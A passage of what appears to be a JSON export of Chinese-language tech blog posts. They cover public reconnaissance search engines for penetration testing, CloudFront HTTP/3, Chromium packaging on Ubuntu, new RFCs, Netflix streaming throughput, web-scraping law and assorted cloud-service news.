href=\"https://twitter.com/hashtag/aws?src=hash&amp;ref_src=twsrc%5Etfw\">#aws</a> <a href=\"https://t.co/NyN2ei76Dc\">pic.twitter.com/NyN2ei76Dc</a></p>&mdash; Mr.programmer (@freeprogrammers) <a href=\"https://twitter.com/freeprogrammers/status/1556218970654576645?ref_src=twsrc%5Etfw\">August 7, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n裡面是一張圖，整理一下這 24 個站台：\r\n\r\n<ul>\r\n\t<li><a href=\"https://shodan.io/\">shodan.io</a></li>\r\n\t<li><a href=\"https://www.google.com/\">google.com</a></li>\r\n\t<li><a href=\"https://wigle.net/\">wigle.net</a></li>\r\n\t<li><a href=\"https://grep.app/\">grep.app</a></li>\r\n\t<li><a href=\"https://app.binaryedge.io/\">app.binaryedge</a></li>\r\n\t<li><a href=\"https://onyphe.io/\">onyphe.io</a></li>\r\n\t<li><a href=\"https://viz.greynoise.io\">viz.greynoise.io</a></li>\r\n\t<li><a href=\"https://censys.io/\">censys.io</a></li>\r\n\t<li><a href=\"https://hunter.io/\">hunter.io</a></li>\r\n\t<li><a href=\"https://fofa.info/\">fofa.info</a></li>\r\n\t<li><a href=\"https://www.zoomeye.org/\">zoomeye.org</a></li>\r\n\t<li><a href=\"https://leakix.net/\">leakix.net</a></li>\r\n\t<li><a href=\"https://intelx.io/\">intelx.io</a></li>\r\n\t<li><a href=\"https://app.netlas.io/\">app.netlas.io</a></li>\r\n\t<li><a href=\"https://searchcode.com/\">searchcode.com</a></li>\r\n\t<li><a href=\"https://urlscan.io/\">urlscan.io</a></li>\r\n\t<li><a href=\"https://publicwww.com/\">publicwww.com</a></li>\r\n\t<li><a href=\"https://fullhunt.io/\">fullhunt.io</a></li>\r\n\t<li><a href=\"https://socradar.io/\">socradar.io</a></li>\r\n\t<li><a href=\"https://binaryedge.io/\">binaryedge.io</a></li>\r\n\t<li><a href=\"https://ivre.rocks/\">ivre.rocks</a></li>\r\n\t<li><a href=\"https://crt.sh/\">crt.sh</a></li>\r\n\t<li><a href=\"https://vulners.com/\">vulners.com</a></li>\r\n\t<li><a href=\"https://pulsedive.com/\">pulsedive.com</a></li>\r\n</ul>\r\n\r\n一堆 <a href=\"https://en.wikipedia.org/wiki/.io\">.io</a> 網域...\r\n\r\n裡面有蠻多服務是偶而會用到的，改拿來當作 <a href=\"https://en.wikipedia.org/wiki/Penetration_test\">pen test</a> 的基礎工作也是蠻好用的，各種預先掃好的結果拿來搜...",
    "title": "滲透測試的工具，各種搜尋引擎"
  },
  {
    "id": "10844",
    "body": "雖然 <a href=\"https://en.wikipedia.org/wiki/HTTP/3\">HTTP/3</a> 還沒有進到 Standard Track，但看到 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 宣佈支援 HTTP/3 了：「<a href=\"https://aws.amazon.com/blogs/aws/new-http-3-support-for-amazon-cloudfront/\">New – HTTP/3 Support for Amazon CloudFront</a>」。\r\n\r\n只要在 CloudFront 的 console 上勾選起來就可以了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gpzUEkp.webp\" /><img src=\"https://i.gslin.com/imgur/gpzUEkp.png\" alt=\"\" /></picture>\r\n\r\n看了看 <a href=\"https://www.rfc-editor.org/rfc/rfc9114.html\">RFC 9114: HTTP/3</a> 文件裡的描述，client 可以試著建立 <a href=\"https://en.wikipedia.org/wiki/User_Datagram_Protocol\">UDP</a> 版本的 QUIC 連線，但要有機制在失敗時回去用 <a href=\"https://en.wikipedia.org/wiki/Transmission_Control_Protocol\">TCP</a> 的 <a href=\"https://en.wikipedia.org/wiki/HTTP/2\">HTTP/2</a> 或是 <a href=\"https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol\">HTTP/1.1</a>：\r\n\r\n<blockquote>A client MAY attempt access to a resource with an \"https\" URI by resolving the host identifier to an IP address, establishing a QUIC connection to that address on the indicated port (including validation of the server certificate as described above), and sending an HTTP/3 request message targeting the URI to the server over that secured connection. Unless some other mechanism is used to select HTTP/3, the token \"h3\" is used in the Application-Layer Protocol Negotiation (ALPN; see [RFC7301]) extension during the TLS handshake.\r\n\r\nConnectivity problems (e.g., blocking UDP) can result in a failure to establish a QUIC connection; clients SHOULD attempt to use TCP-based versions of HTTP in this case.</blockquote>\r\n\r\n另外一條路是在 TCP 連線時透過 HTTP header 告訴瀏覽器升級：\r\n\r\n<blockquote>An HTTP origin can advertise the availability of an equivalent HTTP/3 endpoint via the Alt-Svc HTTP response header field or the HTTP/2 ALTSVC frame ([ALTSVC]) using the \"h3\" ALPN token.</blockquote>\r\n\r\n像是這樣：\r\n\r\n<pre>Alt-Svc: h3=\":50781\"</pre>\r\n\r\n然後 client 就可以跑上 HTTP/3：\r\n\r\n<blockquote>On receipt of an Alt-Svc record indicating HTTP/3 support, a client MAY attempt to establish a QUIC connection to the indicated host and port; if this connection is successful, the client can send HTTP requests using the mapping described in this document.</blockquote>\r\n\r\n另外在 FAQ 裡面有提到啟用 HTTP/3 是不另外計費的，就照著本來的 request 費用算：\r\n\r\n<blockquote>Q. Is there a separate charge for enabling HTTP/3?\r\n\r\nNo, there is no separate charge for enabling HTTP/3 on Amazon CloudFront distributions. HTTP/3 requests will be charged at the request pricing rates as per your pricing plan.</blockquote>\r\n\r\n先開起來玩看看...",
    "title": "CloudFront 支援 HTTP/3"
  },
  {
    "id": "10845",
    "body": "<a href=\"https://www.ubuntu.com/\">Ubuntu</a> 20.04 之後包的 <a href=\"https://www.chromium.org/\">chromium</a> 都是基於 <a href=\"https://en.wikipedia.org/wiki/Snap_(software)\">snap</a> 的方案，是個除了 <a href=\"https://canonical.com/\">Canonical</a> 的人以外沒人愛的東西，所以大家都在找方法改回 <a href=\"https://en.wikipedia.org/wiki/Deb_(file_format)\">.deb</a> 的版本。\r\n\r\n剛剛因為需要測試東西所以才需要找這個方案，發現有個還蠻有趣的解法，是拿 18.04 的 <a href=\"https://packages.ubuntu.com/bionic-updates/chromium-browser\">chromium-browser</a> 的套件來裝，因為官方至少會支援到 2023/04：「<a href=\"https://askubuntu.com/questions/1255692/is-it-still-possible-to-install-chromium-as-a-deb-package-on-20-04-lts-using-som\">Is it still possible to install Chromium as a deb-package on 20.04 LTS using some third-party repository?</a>」。\r\n\r\n一個 <code>/etc/apt/sources.list.d/bionic-update.list</code>：\r\n\r\n<pre>deb http://archive.ubuntu.com/ubuntu/ bionic-updates universe</pre>\r\n\r\n另外一個 <code>/etc/apt/preferences.d/chromium-deb-bionic-updates</code>：\r\n\r\n<pre>Package: chromium-browser chromium-browser-l10n chromium-codecs-ffmpeg-extra chromium-codecs-ffmpeg \r\nPin: release a=bionic-updates\r\nPin-Priority: 900</pre>\r\n\r\n完全還是使用官方套件的解法，唯一的缺點大概就是到明年四月而已，但對要測試來說夠用了...",
    "title": "在 Ubuntu 20.04/22.04 下使用 18.04 的 chromium-browser"
  },
  {
    "id": "10847",
    "body": "看到「<a href=\"https://www.rfc-editor.org/rfc/rfc9293\">RFC 9293: Transmission Control Protocol (TCP)</a>」這篇，主要是把本來分散在各個 <a href=\"https://en.wikipedia.org/wiki/Request_for_Comments\">RFC</a> 的文件 (從 <a href=\"https://www.rfc-editor.org/rfc/rfc793.html\">RFC 793</a> 開始) 全部整理成一份，另外把一些已知的勘誤表放進來：\r\n\r\n<blockquote>This document specifies the Transmission Control Protocol (TCP). TCP is an important transport-layer protocol in the Internet protocol stack, and it has continuously evolved over decades of use and growth of the Internet. Over this time, a number of changes have been made to TCP as it was specified in RFC 793, though these have only been documented in a piecemeal fashion. This document collects and brings those changes together with the protocol specification from RFC 793. This document obsoletes RFC 793, as well as RFCs 879, 2873, 6093, 6429, 6528, and 6691 that updated parts of RFC 793. It updates RFCs 1011 and 1122, and it should be considered as a replacement for the portions of those documents dealing with TCP requirements. It also updates RFC 5961 by adding a small clarification in reset handling while in the SYN-RECEIVED state. The TCP header control bits from RFC 793 have also been updated based on RFC 3168.</blockquote>\r\n\r\n然後淘汰掉 (obselete) 一卡車 RFC 文件 XD\r\n\r\n翻資料發現 2014 的時候 <a href=\"https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol\">HTTP/1.1</a> 被幹過一次類似的事情，不過是反過來被拆開：「<a href=\"https://blog.gslin.org/archives/2014/06/07/4736/http1-1-%E7%9A%84%E6%9B%B4%E6%96%B0/\">HTTP/1.1 的更新</a>」，這次把 <a href=\"https://www.rfc-editor.org/rfc/rfc2616.html\">RFC 2616</a> 幹掉分成 <a href=\"https://www.rfc-editor.org/rfc/rfc7230.html\">RFC 7230</a>～<a href=\"https://www.rfc-editor.org/rfc/rfc7235.html\">RFC 7235</a>。\r\n\r\n然後今年因為 HTTP 的關係又被幹了一次，這次 HTTP/1.1 又被整回來變成一份文件，但是把裡面的一些概念拆開：「<a href=\"https://blog.gslin.org/archives/2022/06/07/10733/http-%E6%A8%99%E6%BA%96%E7%9A%84%E7%BF%BB%E6%96%B0/\">HTTP 標準的翻新</a>」。\r\n\r\n其中 <a href=\"https://www.rfc-editor.org/rfc/rfc9110.html\">RFC 9110</a> 定義 HTTP Semantics，<a href=\"https://www.rfc-editor.org/rfc/rfc9111.html\">RFC 9111</a> 定義 HTTP Caching，然後 <a href=\"https://www.rfc-editor.org/rfc/rfc9112.html\">RFC 9112</a> 與 <a href=\"https://www.rfc-editor.org/rfc/rfc9113.html\">RFC 9113</a> 拿來定義了 HTTP/1.1 與 <a href=\"https://en.wikipedia.org/wiki/HTTP/2\">HTTP/2</a>，另外先把 <a href=\"https://en.wikipedia.org/wiki/HTTP/3\">HTTP/3</a> 的號碼保留下來的 <a href=\"https://www.rfc-editor.org/rfc/rfc9114.html\">RFC 9114</a>。\r\n\r\n不斷 refactor 以及加新功能的文件...",
    "title": "TCP 標準被整理到 RFC 9293"
  },
  {
    "id": "10848",
    "body": "2021 年的時候曾經提過 <a href=\"https://www.netflix.com/\">Netflix</a> 試著用單機推出 400Gbps 的流量 (用在 Netflix 的 <a href=\"https://openconnect.netflix.com/\">Open Connect</a>)：「<a href=\"https://blog.gslin.org/archives/2021/09/20/10338/netflix-%E5%9C%A8%E5%96%AE%E6%A9%9F%E6%9C%8D%E5%8B%99-400gbps-%E7%9A%84%E5%BD%B1%E9%9F%B3%E6%B5%81%E9%87%8F/\">Netflix 在單機服務 400Gbps 的影音流量</a>」，快一年後的目前，Netflix 的人已經成功推到接近 800Gbps 了：「<a href=\"http://nabstreamingsummit.com/wp-content/uploads/2022/05/2022-Streaming-Summit-Netflix.pdf\">Serving Netflix Video Traffic at 800Gb/s and Beyond</a>」。另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=32519881\">Serving Netflix Video Traffic at 800Gb/s and Beyond [pdf] (nabstreamingsummit.com)</a>」也可以看看。\r\n\r\n翻了一下投影片，最後衝到 720Gbps，主要是因為 NIC output drop，而非其他部份。\r\n\r\n裡面還是把之前的故事也都講了一遍 (不然簡報的時間會太短？)，如果有看過前面的內容可以快速看一下就好，這次新的東西從 page 89 開始：\r\n\r\n<ul>\r\n\t<li>Asynchronous Sendfile (2014)</li>\r\n\t<li>Kernel TLS (2016)</li>\r\n\t<li>Network-centric NUMA (2019)</li>\r\n\t<li>Inline Hardware (NIC) kTLS (2022)</li>\r\n\t<li>800G initial results</li>\r\n</ul>\r\n\r\n最後面幾張投影片裡面有提到往 800Gbps 衝的硬體平台：\r\n\r\n<ul>\r\n\t<li>AMD (EPYC 7713 CPUs)</li>\r\n\t<li>Dell (PowerEdge R7525)</li>\r\n\t<li>Mellanox/NVIDIA (ConnectX-6 Dx NICS)</li>\r\n\t<li>Intel (P5316 NVME)</li>\r\n</ul>\r\n\r\n下個目標不知道是什麼，看起來目前已經壓榨到 memory bandwidth 也有點極限的感覺了...",
    "title": "Netflix 的 Open Connect 機器往 800Gbps 推進"
  },
  {
    "id": "10849",
    "body": "上個禮拜在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 看到的「<a href=\"https://thenewleafjournal.com/review-of-e-an-android-alternative-for-mobile-phones/\">Review of /e/ – An Android Alternative For Mobile Phones</a>」，在講 <a href=\"https://e.foundation/e-os/\">/e/</a> 這個從 <a href=\"https://en.wikipedia.org/wiki/Android_Open_Source_Project\">AOSP</a> 改出來的作業系統，主力在於「unGoogled」這件事情，避免任何資料傳回給 <a href=\"https://www.google.com/\">Google</a>。Hacker News 上對應的討論在「<a href=\"https://news.ycombinator.com/item?id=32414215\">Review of /e/ – Android-based alternative for mobile phones (thenewleafjournal.com)</a>」這邊。\r\n\r\n先看了一下運作方式，/e/ 的後面是 <a href=\"https://e.foundation/\">e Foundation</a>，以非營利組織的方式經營。\r\n\r\n從 <a href=\"https://lineageos.org/\">LineageOS</a> 的經驗來看，看起來有蠻多東西預先包好了，像是預掛了 <a href=\"https://microg.org/\">microG</a> 來模擬 <a href=\"https://en.wikipedia.org/wiki/Google_Play_Services\">Google Play Services</a> 的服務與 API，這樣可以讓一些需要 Google Play Services 的服務可以跑 (但可以預期不會是完全相容)。\r\n\r\n另外也有一些商業合作，所以市場上可以買到出廠就已經安裝 /e/ 的手機，讓一般使用者更容易上手。另外一條可以預期的路是自己刷 /e/，從「<a href=\"https://doc.e.foundation/devices\">Smartphone Selector</a>」這邊可以看到 /e/ 支援很多型號。\r\n\r\n文章裡另外題到了其他的 AOSP fork，走不同的路線：\r\n\r\n<blockquote>In addition to LineageOS, there are two forks focused primarily on security – GrapheneOS and CalyxOS. There is also Replicant, which appears to mostly support older devices at this time.</blockquote>\r\n\r\n看起來弄個 <a href=\"https://en.wikipedia.org/wiki/Pixel_5a\">Pixel 5a</a> 或是舊一點的 <a href=\"https://en.wikipedia.org/wiki/Pixel_4a\">Pixel 4a</a> 應該是個還可以的方向，Google 自家牌的手機通常都是這些 distribution 優先支援的機種...",
    "title": "從 Android (AOSP) fork 出來的 /e/"
  },
  {
    "id": "10850",
    "body": "也是上個禮拜在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的新聞，南韓最高法院對於 web scraping 也做出了類似美國 <a href=\"https://en.wikipedia.org/wiki/HiQ_Labs_v._LinkedIn\">HiQ Labs v. LinkedIn</a> 案的判例：「<a href=\"https://www.lexology.com/library/detail.aspx?g=1ae8c0a9-660b-45b7-9ef6-030f387d6e29\">Korean Supreme Court Provides Clarity on Web Scraping and Violation of the Relevant Korean Laws, including the Copyright Act and Information Protection Act (Supreme Court, 2021Do1533, May 12, 2022)</a>」，原文似乎已經被 <a href=\"https://en.wikipedia.org/wiki/Paywall\">paywall</a>，但可以從 <a href=\"https://web.archive.org/\">Internet Archive</a> 的「<a href=\"https://web.archive.org/web/20220815074743/https://www.lexology.com/library/detail.aspx?g=1ae8c0a9-660b-45b7-9ef6-030f387d6e29\">這邊</a>」與 <a href=\"https://archive.today/\">archive.today</a> 的「<a href=\"https://archive.ph/wbCff\">這邊</a>」讀到原全文。另外在 Hacker News 上的討論「<a href=\"https://news.ycombinator.com/item?id=32440850\">The Supreme Korean court says that scraping publicly available data is legal (lexology.com)</a>」。\r\n\r\nhiQ 的案子之前有寫過，可以參考「<a href=\"https://blog.gslin.org/archives/2019/09/14/9209/hiq-%E7%88%AC-linkedin-%E8%B3%87%E6%96%99%E7%9A%84%E7%84%A1%E7%BD%AA%E5%88%A4%E6%B1%BA/\">hiQ 爬 LinkedIn 資料的無罪判決</a>」這邊。\r\n\r\n南韓最高法院認為這次的抓取公開資料不違反南韓的法令：\r\n\r\n<blockquote>On May 12, 2022, the Korean Supreme Court held in Case No. 2021Do1533 that scraping publicly available data from a competitor’s website does not violate the asserted laws, including the Copyright Act and the Act on Promotion of Information and Communications Network Utilization and Information Protection (“Information Protection Act”).</blockquote>\r\n\r\n比較特別的是在講刑事責任的第三點提到了 read only，不確定是不是反駁原告的立論：\r\n\r\n<blockquote>The Supreme Court also found Defendants not guilty of violating the Criminal Code in light of the following findings: (i) the Defendants’ act of scraping did not interfere with information processing on Yanolja’s API server; (ii) the Defendants’ act of scraping did not interfere with Yanolja’s booking business; (iii) the Defendants did not interfere with Yanolja’s business, because its scraping did not modify data within Yanolja’s API server; and (iv) the Defendants lacked mens rea for criminal interference with business, as the Defendants merely intended to collect accommodation information from Yanolja’s API server.</blockquote>\r\n\r\n整體看起來是被告的大獲全勝？",
    "title": "南韓最高法院也對 Web Scraping 給出了類似美國的判例"
  },
  {
    "id": "10851",
    "body": "上個禮拜在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的專案，把電子書閱讀器拿來當作外接螢幕：「<a href=\"https://zmarshall.nl/static/eink-vnc.html\">eInk VNC for Kobo e-readers</a>」，對應的討論在「<a href=\"https://news.ycombinator.com/item?id=32449857\">Show HN: A VNC viewer for eInk devices capable of 30 FPS when writing text (zmarshall.nl)</a>」這邊。\r\n\r\n作者提供的 screenshot 看起來效果還不錯：\r\n\r\n<video controls witdh=\"100%\"><source src=\"https://user-images.githubusercontent.com/4356678/184497681-683af36b-e226-47fc-8993-34a5b356edba.webm\" type=\"video/webm\"></video>\r\n\r\nsource code 在 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/everydayanchovies/eink-vnc\">everydayanchovies/eink-vnc</a>，看起來算是實驗性質，在 warning 的段落可以看到：\r\n\r\n<blockquote>The screen can refresh up to 30 times per second, this will degrade the eInk display rapidly. Do not use with fast changing content like videos.\r\n\r\nFurthermore, this tool was only tested on a single device (Kobo Libra 2). It is possible that it will damage yours. I cannot be held responsible, use this tool at your own risk.</blockquote>\r\n\r\nHacker News 上有看到一個有趣的專案 <a href=\"https://www.modos.tech/\">The Modos Paper Laptop</a>，是一台用電子紙的筆電：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Zlqzmhm.webp\" /><img src=\"https://i.gslin.com/imgur/Zlqzmhm.png\" alt=\"\" /></picture>\r\n\r\n不過好像還在開發階段...",
    "title": "把電子墨水螢幕透過 VNC 當作外接螢幕"
  },
  {
    "id": "10853",
    "body": "這是兩個禮拜前看到的東西，<a href=\"https://www.espn.com/\">ESPN</a> 轉播 <a href=\"https://www.fmworldcup.com/\">Financial Modeling World Cup</a> (FMWC)，一個比 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Excel\">Microsoft Excel</a> 的競賽：「<a href=\"https://www.ladbible.com/sport/world-excel-championship-that-is-getting-national-tv-coverage-20220809\">The World Excel Championship is being broadcast on ESPN and it's absolutely wild</a>」。\r\n\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/x1RVNGDSdw4\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\r\n\r\n看 wiki 的資料，FMWC 是從 2020 年開始辦的比賽，然後沒什麼意外的 <a href=\"https://www.microsoft.com/\">Microsoft</a> 是贊助商...\r\n\r\n要注意 <a href=\"https://en.wikipedia.org/wiki/Excel_Esports\">Excel Esports</a> 這隻英國戰隊跟 Microsoft Excel 就沒有關係了，只是名稱剛好有 Excel 這個詞；Excel Esports 戰隊主打的是 <a href=\"https://en.wikipedia.org/wiki/League_of_Legends\">LoL</a>、<a href=\"https://en.wikipedia.org/wiki/Fortnite_Battle_Royale\">Fortnite</a> 與 <a href=\"https://en.wikipedia.org/wiki/Valorant\">VALORANT</a> 這幾個比較廣為人知的電子競技項目。\r\n\r\n目前看起來 <a href=\"https://www.fmworldcup.com/excel-esports/fmwc-open-2022/\">FMWC Open 2022</a> 會在今年 Q4 辦，到時候應該會再冒出一些新聞...",
    "title": "ESPN 播報 Excel 比賽"
  },
  {
    "id": "10855",
    "body": "在「<a href=\"https://webkit.org/blog/13096/css-has-pseudo-class/\">Using :has() as a CSS Parent Selector and much more</a>」這邊看到 <a href=\"https://www.apple.com/safari/\">Safari</a> 宣佈對 <a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/:has\">:has()</a> 的支援，查了一下 <a href=\"https://caniuse.com/\">Can I use...</a> 上面的資料「<a href=\"https://caniuse.com/css-has\">:has() CSS relational pseudo-class</a>」，看起來是從 15.4 (2022/05/14) 支援的。\r\n\r\n隔壁 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 將在下一個版本 105 (目前 stable channel 是 104) 支援 :has()，沒意外的話 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Edge\">Microsoft Edge</a> 應該也會跟上去，看起來只剩下 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 要開了。\r\n\r\n先前在「<a href=\"https://blog.gslin.org/archives/2021/06/21/10208/chromium-%E7%9A%84-has-%E5%AF%A6%E5%81%9A%E9%80%B2%E5%B1%95/\">Chromium 的 :has() 實做進展</a>」這邊有翻一下進度，看起來 <a href=\"https://www.chromium.org/\">Chromium</a> 這邊要進入收尾階段了。\r\n\r\n等普及後一些延伸套件裡的寫法也可以用 :has() 來處理了，就不用自己在 javascript 裡面檢查半天...",
    "title": "CSS 的 :has() 有新進展了"
  },
  {
    "id": "10856",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「<a href=\"https://news.ycombinator.com/item?id=32475298\">Google IoT Core will be discontinued on Aug. 16, 2023</a>」這篇，大家在討論 <a href=\"https://cloud.google.com/\">Google Cloud</a> 宣佈明年關閉 <a href=\"https://cloud.google.com/iot-core\">IoT Core Services</a> 的事情，基本上討論的內容大概都想的到...\r\n\r\n<a href=\"https://aws.amazon.com/\">AWS</a> 這邊的話，最近比較有印象的就是要淘汰 <a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-classic-platform.html\">EC2 Classic</a> (<a href=\"https://blog.gslin.org/archives/2022/08/15/10840/ec2-classic-%e7%9a%84%e7%8b%80%e6%85%8b/\">EC2-Classic 的狀態</a>)，但到現在還是在跑。\r\n\r\n另外一個是把 <a href=\"https://en.wikipedia.org/wiki/Xen\">Xen</a> 架構 porting 到 <a href=\"https://aws.amazon.com/ec2/nitro/\">Nitro</a> 上 (<a href=\"https://blog.gslin.org/archives/2021/12/01/10446/aws-%E5%B0%87%E6%96%B0%E7%9A%84-nitro-%E6%9E%B6%E6%A7%8B%E5%9B%9E%E9%81%8E%E6%8A%95%E4%BE%86%E6%94%AF%E6%8F%B4%E4%BB%A5%E5%89%8D-xen-%E7%9A%84%E6%A9%9F%E7%A8%AE/\">AWS 將新的 Nitro 架構回過投來支援以前 Xen 的機種</a>)，讓原有的 Xen 應用可以繼續用。\r\n\r\n久一點以前的 <a href=\"https://aws.amazon.com/simpledb/\">SimpleDB</a> 到現在也還是活著，官方現在應該是主力在推 <a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a>。\r\n\r\n兩種完全不同的作法...",
    "title": "Google Cloud 宣佈明年關閉 IoT Core Services"
  },
  {
    "id": "10857",
    "body": "打開 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 看到的第一名，<a href=\"https://www.heroku.com/\">Heroku</a> 公佈了廢止免費方案的時間表：「<a href=\"https://news.ycombinator.com/item?id=32594533\">Removal of Heroku free product plans (heroku.com)</a>」，文章在「<a href=\"https://help.heroku.com/RSBRUH58/removal-of-heroku-free-product-plans-faq\">Removal of Heroku Free Product Plans FAQ</a>」。\r\n\r\n沒在用的帳號會在 2022/10/26 開始刪，既有的帳號會在 2022/11/28 終止：\r\n\r\n<blockquote>Focus on what's mission-critical: Removal of <code>free</code> dynos, <code>hobby-dev</code> Heroku Postgres and <code>hobby-dev</code> Heroku Data for Redis plans starting November 28, 2022 and inactive account deletion starting October 26, 2022.</blockquote>\r\n\r\n取而代之的是針對特定團體條件性的開放，分成三類：學生、非營利組織以及 open source 專案。但前兩個目前方案都還沒出來，要晚點才會公佈；後面的 open source 專案則是要寄信申請。\r\n\r\n不過現在好像沒什麼人在用 Heroku 了，大多都是因為以前有在用的人就繼續用，如果要講 \"sexy\" 的產品 (玩新東西的感覺)，<a href=\"https://fly.io/\">Fly.io</a> 應該是比較常見的方案？",
    "title": "Heroku 公佈了廢止免費方案的時間表"
  },
  {
    "id": "10858",
    "body": "看到<a href=\"https://github.com/onetrueawk/awk/commit/9ebe940cf3c652b0e373634d2aa4a00b8395b636\">這個 commit</a>，裡面是 <a href=\"https://en.wikipedia.org/wiki/Brian_Kernighan\">Brian Kernighan</a> 幫 <a href=\"https://en.wikipedia.org/wiki/AWK\">AWK</a> 加上 <a href=\"https://en.wikipedia.org/wiki/Unicode\">Unicode</a> 支援的信件。\r\n\r\n現在在各 OS 下都有包不一樣的 AWK 實做，像是 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 下常見的 <a href=\"https://www.gnu.org/software/gawk/\">GNU awk</a>，所以這個 patch 原版的 AWK 其實還好，但更多的是一種景仰的感覺...\r\n\r\nBrian Kernighan 就是 AWK 的作者之一 (AWK 裡的 K 就是他)，另外一個更為人熟知的就是經典的 <a href=\"https://en.wikipedia.org/wiki/The_C_Programming_Language\">The C Programming Language</a> 這本書，或是因此而知名的簡寫，K&amp;R 裡面的 K。\r\n\r\n老人家八十歲還會送 patch 給現在的 maintainer 加功能...",
    "title": "Brian Kernighan 幫 AWK 加上 Unicode 支援"
  },
  {
    "id": "10859",
    "body": "在「<a href=\"https://aws.amazon.com/blogs/aws/new-aws-support-app-in-slack-to-manage-support-cases/\">New – AWS Support App in Slack to Manage Support Cases</a>」這邊看到的新功能，主要是下面這張圖，看起來可以直接在 <a href=\"https://slack.com/\">Slack</a> 上面開 private channel 跟 <a href=\"https://aws.amazon.com/premiumsupport/\">AWS Support</a> 成員討論事情：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/sOfNpm5.webp\" /><img src=\"https://i.gslin.com/imgur/sOfNpm5.jpg\" alt=\"\" /></picture>\r\n\r\n依照說明，有 Business 以上的等級都可以用：\r\n\r\n<blockquote>The AWS Support App in Slack is now available to all customers with Business, Enterprise On-ramp, or Enterprise Support at no additional charge.</blockquote>\r\n\r\n雖然好像不是哪麼常跟 <a href=\"https://aws.amazon.com/\">AWS</a> 的人打交道，但平常先掛起來好像不錯...",
    "title": "AWS Support 整合到 Slack 頻道內"
  },
  {
    "id": "10860",
    "body": "一樣是 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的：「<a href=\"https://news.ycombinator.com/item?id=32596182\">Guidance to make federally funded research freely available without delay (whitehouse.gov)</a>」，白宮的公告在「<a href=\"https://www.whitehouse.gov/ostp/news-updates/2022/08/25/ostp-issues-guidance-to-make-federally-funded-research-freely-available-without-delay/\">OSTP Issues Guidance to Make Federally Funded Research Freely Available Without Delay</a>」這邊。\r\n\r\n開頭有重點，不得限制以及收費。所以 paywall 是一定不行，另外要註冊才能看也算是一種限制，應該也會被這次的政策要求改善：\r\n\r\n<blockquote>In a memorandum to federal departments and agencies, Dr. Alondra Nelson, the head of OSTP, delivered guidance for agencies to update their public access policies as soon as possible to make publications and research funded by taxpayers publicly accessible, without an embargo or cost.</blockquote>\r\n\r\n時間表的部份，短期是 2023 年中更新 policy，並且在 2025 年年底前全部施行：\r\n\r\n<blockquote>In the short-term, agencies will work with OSTP to update their public access and data sharing plans by mid-2023. OSTP expects all agencies to have updated public access policies fully implemented by the end of 2025.</blockquote>\r\n\r\n這次的算政府方面的政策，至少這些論文會有地方可以公開下載。\r\n\r\n找了一下之前寫下來跟 open access 有關的消息，從學校方面給壓力的也不少，不過我記錄下來的主要都是跟 <a href=\"https://en.wikipedia.org/wiki/Elsevier\">Elsevier</a> 的中止合約：\r\n\r\n<ul>\r\n\t<li>2019 的「<a href=\"https://blog.gslin.org/archives/2019/03/04/8775/%e5%8a%a0%e5%b7%9e%e5%a4%a7%e5%ad%b8%e5%ae%a3%e4%bd%88%e4%b8%8d%e8%88%87-elsevier-%e7%ba%8c%e7%b4%84/\">加州大學宣佈不與 Elsevier 續約</a>」，</li>\r\n\t<li>2020 的北卡大學系統對 Elsevier 的不續約「<a href=\"https://library.unc.edu/2020/04/upcoming-elsevier-cancellations/\">Upcoming Elsevier Cancellations</a>」，</li>\r\n\t<li>2020 的紐約大學系統對 Elsevier 的不續約「<a href=\"https://slcny.libguides.com/slc/elsevier2020update\">State University of New York Steps Away From the “Big Deal” with Elsevier</a>」，</li>\r\n\t<li>2020 的「<a href=\"https://blog.gslin.org/archives/2020/06/16/9574/mit-%e7%b5%82%e6%ad%a2%e8%88%87-elsevier-%e7%9a%84%e5%90%88%e7%b4%84/\">MIT 終止與 Elsevier 的合約</a>」。</li>\r\n</ul>\r\n\r\n看起來不同角度都有一些推進...",
    "title": "白宮宣佈由政府資助的研究，都必須馬上公開"
  },
  {
    "id": "10861",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://endtimes.dev/why-your-website-should-be-under-14kb-in-size/\">Why your website should be under 14kB in size</a>」這篇，對應的討論在「<a href=\"https://news.ycombinator.com/item?id=32587740\">A 14kb page can load much faster than a 15kb page (endtimes.dev)</a>」，在講網頁大小 14KB/15KB 的速度差異比 15KB/16KB 大很多的問題：\r\n\r\n<blockquote>What is surprising is that a 14kB page can load much faster than a 15kB page — maybe 612ms faster — while the difference between a 15kB and a 16kB page is trivial.</blockquote>\r\n\r\n原因是 <a href=\"https://en.wikipedia.org/wiki/Slow-start\">TCP slow start</a> 造成的：\r\n\r\n<blockquote>This is because of the TCP slow start algorithm.</blockquote>\r\n\r\n而網頁這邊 TCP slow start 目前大多數的實做都是 10 packets 後發動：\r\n\r\n<blockquote>Most web servers TCP slow start algorithm starts by sending 10 TCP packets.</blockquote>\r\n\r\n然後再組合 1500 bytes/packet 以及 